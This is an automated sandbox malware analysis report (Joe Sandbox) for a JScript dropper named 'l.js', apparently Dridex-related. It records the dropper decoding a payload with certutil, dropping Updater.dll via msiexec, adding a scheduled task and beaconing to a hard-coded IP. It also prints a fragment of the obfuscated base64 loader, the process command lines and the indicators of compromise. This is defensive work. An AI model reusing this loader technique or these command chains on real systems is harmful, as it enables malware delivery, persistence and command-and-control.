Windows Analysis Report
l.js

Source: Joe Sandbox View

ASN Name: AS-CHOOPAUS AS-CHOOPAUS

Source: Network traffic

Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.4:50003 -> 149.248.58.85:443

Source: unknown	TCP traffic detected without corresponding DNS query: 149.248.58.85
Source: unknown	TCP traffic detected without corresponding DNS query: 149.248.58.85
Source: unknown	TCP traffic detected without corresponding DNS query: 149.248.58.85

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B81DF0 InternetOpenW,InternetSetOptionW,InternetSetOptionW,InternetSetOptionW,InternetConnectW,HttpOpenRequestW,wcslen,wcslen,wcscpy,wcscat,SetLastError,HttpSendRequestW,InternetReadFile,LoadLibraryW,LoadLibraryExW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetLastError,InternetQueryOptionW,InternetSetOptionW,HttpSendRequestW,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

11_2_68B81DF0

Source: rundll32.exe, 0000000B.00000002.2988366410.000002A92B877000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.2988366410.000002A92B8CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://149.248.58.85/
Source: rundll32.exe, 0000000B.00000002.2988366410.000002A92B8CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://149.248.58.85/Q
Source: rundll32.exe, 0000000B.00000002.2988366410.000002A92B877000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://149.248.58.85/d

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Tasks\Whitefusion.job

Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B88300		11_2_68B88300
Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B81D40		11_2_68B81D40

Source: l.js

Initial sample: Strings found which are bigger than 50

Source: rad64802.tmp.4.dr	Static PE information: Number of sections : 11 > 10
Source: Updater.dll.10.dr	Static PE information: Number of sections : 11 > 10

Source: classification engine

Classification label: mal72.evad.winJS@8/4@0/1

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B87670 CoInitializeEx,CoCreateInstance,CoUninitialize,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysAllocString,SysFreeString,SysAllocString,SysFreeString,

11_2_68B87670

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\3e4d7a5b-aa72-4d5f-8f8c-b292257af55c
Source: C:\Windows\System32\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\461592c6-32a2-4a5a-9542-783ba1348002

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\radEBB74.tmp

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\ProgramData\Whitefusion\Updater.dll",Start /u

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\l.js"
Source: unknown	Process created: C:\Windows\System32\certutil.exe C:\Windows\system32\certutil.EXE -decode radEBB74.tmp rad64802.tmp
Source: C:\Windows\System32\certutil.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.EXE /y C:\Users\user\AppData\Local\Temp\rad64802.tmp
Source: unknown	Process created: C:\Windows\System32\certutil.exe C:\Windows\system32\certutil.EXE -decode radEBB74.tmp rad64802.tmp
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.EXE /y C:\Users\user\AppData\Local\Temp\rad64802.tmp
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.exe "C:\ProgramData\Whitefusion\Updater.dll",Start /u

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: certcli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: certca.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

JScript performs obfuscated calls to suspicious functions

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile(encoded_name);var t0='';t0=t0.concat('TVqQAAMAAAAEAAAA//8');t0=t0.concat('AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGh');t0=t0.concat('pcyBwcm9ncmFtIGNh');t0=t0.concat('bm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQ');t0=t0.concat('AAZIYLANqSiGEAAAAAAAAAAPAALiILA');t0=t0.concat('gIhAIQAAADSAAAADAAAUBMAAAAQAAAAALhoAAAAAAAQAAAAAg');t0=t0.concat('AABAAAAAAAAAAFAAIAAAAAAABwAQAABAAAle0AAAIAAA');t0=t0.concat('AAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAE');t0=t0.concat('AAAAAAAAAAAAAAQAAAAABABALgAAAAAIAEAkBAAAAAAAAAAAAAAAOA');t0=t0.concat('AAKAFAAAAAAAAAA');t0=t0.concat('AAAABgAQD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgM4');t0=t0.concat('AACgAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAKCQBAIgDAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAALi');t0=t0.concat('DAAAAEAAAAIQAAAA');t0=t0.concat('EAAAAAAAAAAAAAAAAAABgAFBgLmRhdGEAAACwBAAAAKAAAAAGAAAA');t0=t0.concat('iAAAAAAAAAAAAAAAAAAAQABgwC5yZGF0YQAAkCEAAA');t0=t0.concat('CwAAAAIgAAAI4AAAAAAAAAAAAAAAAAA');t0=t0.concat('EAAYEAucGRhdGEAAKAFAAAA4AAAAAYAAACwAAAAAAAAAAA');t0=t0.concat('AAAAAAABAADBALnhkYXRhAADMBQAAAPAAAA');t0=t0.concat('AGAAAAtgAAAAAAAAAAAAAAAAAAQAAwQC5ic');t0=t0.concat('3MAAAAAUAsAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAYM');t0=t0.concat('AuZWRhdGEAALgAAAA');t0=t0.concat('AEAEAAAIAAAC8AAAAAAAAAAA');t0=t0.concat('AAAAAAABAADBALmlkYXRhAACQEAAAACABAAASAAAAvgAAAAAAAAAA');t0=t0.concat('AAAAAAAAQAAwwC5DUlQAAAAAWAAAAABAAQAAAgAAANAAAAA');t0=t0.concat('AAAAAAAAAAAAAAEAAQMAudGxzAAAA');t0=t0.concat('ABAAAAAAUAEAAAIA');t0=t0.concat('AADSAAAAAAAAAAAAAAAAAABAAEDALnJlbG9');t0=t0.concat('jAAD0AAAAAGABAAA');t0=t0.concat('CAAAA1AAAAAAAAAAAAAAAAAAAQAAwQgAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAAAAA');t0=t0.concat('AAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNDfnvAADppIEAAA8fQABB');t0=t0.concat('VUFUVVdWU0iD7ChJicxNicWF');t0=t0.concat('0nV6ixXs7wAAMcCF0n5eg+oBSIsdlMAAAEUx5L8BAAAAiRXO7wAAS');t0=t0.concat('IstpxUBAOsMDx9EAAC56AMAAP/VTIng8EgPsTtIicZIhcB16UiLPW');t0=t0.concat('rAAACLB4P4Ag+E7wAAALkfAAAA6BWBAAC4AQAAAEiDxChbXl9dQ');t0=t0.concat('VxBXcMPHwCD+gEPha8AAABlSIsEJTAAAABIix0XwAAASItwCDH/');t0=t0.concat('SIstMhUBAOsYDx+EAAAAAABIOcYPhLcAAAC56AMA');t0=t0.concat('AP/VSIn48EgPsTNIhcB14zH/SIs16r8AAI');t0=t0.concat('sGg/gBD4TvAAAAiwaFwA+EpQAAAIsGg/gBD4S6AAAA');t0=t0.concat('hf8PhIIAAABIiwV7vwAASIsASIXAdA1Niei6AgAAAEyJ4f/QgwXX7');t0=t0.concat('gAAAbgBAAAASIPEKFte');t0=t0.concat('X11BXEFdww8fRAAAuAEAAABIg8Qo');t0=t0.concat('W15fXUFcQV3DZg8fRAAASI0Nie');t0=t0.concat('4AAOhEgQAAxwcAAAAASIczuAEAAADpAf/');t0=t0.concat('//5C/AQAAAOlV////Zg8fRA');t0=t0.concat('AAMcBIhwPpdP///2YPH0QAAEiLFWm/AABIiw1');t0=t0.concat('SvwAAxwYBAAAA6M9/AADpPf///2aQSIsVKb8');t

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B85810 RtlGetVersion,GetNativeSystemInfo,GetNativeSystemInfo,LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetSystemInfo,GetSystemMetrics,

Source: l.js

Array : entropy: 5.25, length: 8008, content: 'eEJIQC|JEo''SlQAAkJD|J''f8VIOgAAE|''BIifHo|I1A''.5(\x27T5\x27);t''LDzAAAeZwA''match''AAAAAOiLCw''7A

Source: rad64802.tmp.4.dr	Static PE information: real checksum: 0xed95 should be: 0x14d84
Source: Updater.dll.10.dr	Static PE information: real checksum: 0xed95 should be: 0x14d84

Source: rad64802.tmp.4.dr	Static PE information: section name: .xdata
Source: Updater.dll.10.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B8B4BF push rbp; retf	11_2_68B8B4C0
Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B8B885 push rax; retf	11_2_68B8B886
Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B8B0C5 push rax; retf	11_2_68B8B0C6
Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B8C7D9 pushfq ; retf	11_2_68B8C7DB
Source: C:\Windows\System32\rundll32.exe	Code function: 11_2_68B8BD02 push rsi; iretd	11_2_68B8BD03

Source: C:\Windows\System32\msiexec.exe	File created: C:\ProgramData\Whitefusion\Updater.dll			Jump to dropped file
Source: C:\Windows\System32\certutil.exe	File created: C:\Users\user\AppData\Local\Temp\rad64802.tmp			Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\ProgramData\Whitefusion\Updater.dll

Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Tasks\Whitefusion.job

Found evasive API chain (may stop execution after checking mutex)

Hooking and other Techniques for Hiding and Protection

Uses certutil -decode

Source: unknown	Process created: C:\Windows\System32\certutil.exe C:\Windows\system32\certutil.EXE -decode radEBB74.tmp rad64802.tmp
Source: unknown	Process created: C:\Windows\System32\certutil.exe C:\Windows\system32\certutil.EXE -decode radEBB74.tmp rad64802.tmp

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B85C50 LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,wcscmp,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_68B85C50

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Windows\System32\rundll32.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_11-3340

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\ProgramData\Whitefusion\Updater.dll			Jump to dropped file
Source: C:\Windows\System32\certutil.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\rad64802.tmp			Jump to dropped file

Source: C:\Windows\System32\rundll32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_11-4206

Source: C:\Windows\System32\rundll32.exe

Last function: Thread delayed

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B8179E FindFirstFileW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FindNextFileW,wcscmp,FindClose,

11_2_68B8179E

Source: C:\Windows\System32\rundll32.exe

Source: rundll32.exe, 0000000B.00000002.2988366410.000002A92B8D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 0000000B.00000002.2988366410.000002A92B8D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWK
Source: rundll32.exe, 0000000B.00000002.2988366410.000002A92B877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW h

Source: C:\Windows\System32\rundll32.exe

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B857B5 GetProcessHeap,HeapReAlloc,

11_2_68B857B5

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B87EB0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,

11_2_68B87EB0

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\rundll32.exe

Network Connect: 149.248.58.85 443

Source: C:\Windows\System32\rundll32.exe

Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B87DD0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

11_2_68B87DD0

Source: C:\Windows\System32\rundll32.exe

Code function: 11_2_68B847CE GetVolumeInformationW,GetModuleHandleW,GetModuleHandleW,GetComputerNameW,GetModuleHandleW,GetComputerNameExW,GetModuleHandleW,GetUserNameW,GetModuleHandleW,wcslen,OpenMutexW,GetModuleHandleW,GetTickCount,Sleep,OpenMutexW,CloseHandle,

11_2_68B847CE

Source: C:\Windows\System32\rundll32.exe

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	23 Scripting	Valid Accounts	2 Scheduled Task/Job	23 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	2 Scheduled Task/Job	2 Scheduled Task/Job	11 Process Injection	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Data Encoding	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 System Owner/User Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	15 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
l.js	2%	Virustotal		Browse

Source	Detection	Scanner	Label
https://149.248.58.85/d	0%	Avira URL Cloud	safe
https://149.248.58.85/Q	0%	Avira URL Cloud	safe
https://149.248.58.85/	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://149.248.58.85/d	rundll32.exe, 0000000B.00000002.2988366410.000002A92B877000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://149.248.58.85/Q	rundll32.exe, 0000000B.00000002.2988366410.000002A92B8CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://149.248.58.85/	rundll32.exe, 0000000B.00000002.2988366410.000002A92B877000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.2988366410.000002A92B8CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.248.58.85	unknown	United States		20473	AS-CHOOPAUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596998
Start date and time:	2025-01-22 20:36:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	l.js
Detection:	MAL
Classification:	mal72.evad.winJS@8/4@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 27
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:38:56	API Interceptor	1x Sleep call for process: msiexec.exe modified
19:37:26	Task Scheduler	Run new task: {65430329-E14B-45C7-815F-1545FB9EBEE9} path: certutil s>-decode radEBB74.tmp rad64802.tmp
19:37:27	Task Scheduler	Run new task: {D7AC511B-6643-49BE-900E-4E0C51F57196} path: msiexec s>/y C:\Users\user\AppData\Local\Temp\rad64802.tmp

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.248.58.85	rad59AD5.dll	Get hash	malicious	Unknown	Browse
149.248.58.85	rad59AD5.dll	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	rad59AD5.dll	Get hash	malicious	Unknown	Browse	149.248.58.85
	rad59AD5.dll	Get hash	malicious	Unknown	Browse	149.248.58.85
	http://jlolaw.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	137.220.56.63
	ti.co.exe	Get hash	malicious	I2PRAT	Browse	216.128.184.123
	lolz.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	codes.js	Get hash	malicious	AgentTesla	Browse	45.63.94.214
	http://rock.levie.com.vn	Get hash	malicious	Unknown	Browse	45.63.66.114
	154.213.189.141-x86-2025-01-21T03_19_07.elf	Get hash	malicious	Mirai, Moobot	Browse	44.169.217.192
	Setup (1).exe	Get hash	malicious	Unknown	Browse	207.246.91.177
	https://sjsenersol.ae/clone/house	Get hash	malicious	Unknown	Browse	199.247.13.246

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\Whitefusion\Updater.dll	rad59AD5.dll	Get hash	malicious	Unknown	Browse
C:\ProgramData\Whitefusion\Updater.dll	rad59AD5.dll	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\rad64802.tmp	rad59AD5.dll	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\rad64802.tmp	rad59AD5.dll	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Whitefusion\Updater.dll

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.985188109464102
Encrypted:	false
SSDEEP:	768:g9QHl5zJLsXpwnPA9KYMGZC7SNichPH/kGFyHxr6a6GPxxoqMo5ydqP+qL3i3:g2dJn7dSfjof2Jo5PM
MD5:	1A28984D6DB3ABDB967C0C19B56F887D
SHA1:	B815A93DEDD5575A77B5FA9C0D77A9BC783CDB27
SHA-256:	B2B67092D3978B0A199C949591BB1872CBC49B91494726A513BE407ABC2CA6A9
